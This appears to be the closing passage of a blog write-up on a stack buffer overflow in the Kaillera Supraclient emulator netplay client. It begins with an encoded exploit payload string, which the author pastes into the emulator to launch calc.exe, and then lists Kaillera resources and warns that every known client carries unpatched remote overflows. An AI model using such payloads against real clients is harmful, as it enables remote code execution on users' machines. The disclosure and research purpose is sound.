4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1CqO².fTYhffffk4diFkDql02Dqm0D1CuEE5n3e1o3j3J0M0y0C363z7n2t4y4A0g0h0r0K2N4p4R8K0m0J7L3P3l14094L123i2p4F0Q3U4x4F3p0I0r5n0h2j0W4O2o3M0W0c4Y0U0y2r4K370T3U0H3n0J143W2G4n0N4K2O0C1k312t4H1L4E2v1N2H3B3H4J3W0I0O311L2G2q4y0c3c0c4x3z0T4p3S4s0H0g000P184Q0f3m4L3d4G3e054k3R4Z35063m2v3A2n0U404S8O0e0R3q7l0h4q0w4w3i0L0d0k3O0K4T042t3K0J3h0t

Once we paste this into the emulator, it goes boom:

Woot!  Calc.exe has been executed!  We have successfully executed a stack buffer overflow against kaillera Supraclient!

Kaillera Resources

Okay, let's dive into the wild world of Kaillera and where we can find useful information about it.

An open source kaillera client is available here: http://sourceforge.net/projects/okai/files/

An open source kaillera server is available here: http://sourceforge.net/projects/emulinker/files/emulinker-kaillera-server/

The best known documentation of the kaillera protocol is here: http://www.emulinker.org/index.php?page=Kaillera_Network_Protocol

To run Kaillera, we need:

-Game system emulator (n64, mame, etc); http://www.emulinker.org/index.php?page=Emulators

-Kaillera client.dll (standard emulators come with this client) : http://www.kaillera.com

This can be replaced by overwriting it in the directory with a new kailleraclient.dll file.

Note: By downloading these programs you do so at your own risk, as they are known to have unfixed security vulnerabilities.  The kaillera.com client in particular is probably 8 years old and has some issues.


 Several alternate clients used are Ownaclient, Supraclient, and the open kaillera client I mentioned above.

However, all of these clients contain numerous vulnerabilities, including remote buffer overflows.

The unique problem of Kaillera security is that there are no active developers out there right now who can fix these issues, and all known kaillera clients are vulnerable.  Therefore, I will have to say less than I desire to protect the users at the moment.

For the safety of Kaillera end users, someone needs to help patch these programs or simply release a new, better coded kaillera client.  Please contact me if you have any suggestions or solutions regarding this.